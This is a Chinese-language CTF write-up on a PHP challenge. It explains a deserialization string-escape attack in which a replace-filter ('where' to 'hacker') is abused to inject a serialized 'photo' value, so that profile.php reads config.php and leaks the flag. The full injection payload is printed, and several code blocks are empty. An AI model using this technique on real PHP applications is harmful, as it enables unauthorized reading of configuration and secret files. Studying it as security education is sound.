题目有源码泄露,打开备份文件开始审计,注意到flag在config.php中
贴上部分需要分析的代码:
update.php
1 |
|
profile.php
1 |
|
首先注册登录,然后有更新信息的功能
分析下upload.php中的代码
注意到该处正则表达式是有缺陷的,我们可以使用数组的方式来绕过该处的长度限制
1 |
|
然后继续看profile的源码,发现了读取文件的函数
1 | $photo = base64_encode(file_get_contents($profile['photo'])); |
这样我们可以反序列化控制$photo的值为config.php来获取flag
转回来我们看一下update.php中的序列化操作,代码抽取出来是这样的
1 |
|
nickname可以使用数组绕过限制
1 | a:4:{s:5:"phone";s:12:"133323233434";s:5:"email";s:12:"10000@qq.com";s:8:"nickname";a:1:{i:0;s:15:"aaaaabbbbbccccc";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} |
这是正常的序列化字符串,为了控制phpto的值,我们可以利用nickname来构造我们想要的序列化字符串
例如这样:
1 | a:4:{s:5:"phone";s:12:"133323233434";s:5:"email";s:12:"10000@qq.com";s:8:"nickname";a:1:{i:0;s:15:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} |
这样我们需要输入的nickname就应该包含这一段
1 | ";}s:5:"photo";s:10:"config.php";} |
然后我们来研究如何使该段字符串逃出双引号的限制
我们注意到在序列化之后调用了show_profile函数
而该函数存在一个过滤器
1 | public function filter($string) { |
其中五位的where会被替换成6位的hacker这样序列化字符串就会多出一位,我们可以多输入几个where来达到逃出双引号限制的目的
可以看到我们需要输入34个where
接着进行利用,将nickname[]的值改为
1 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
然后访问profile.php
得到了config.php的base64编码,解码即可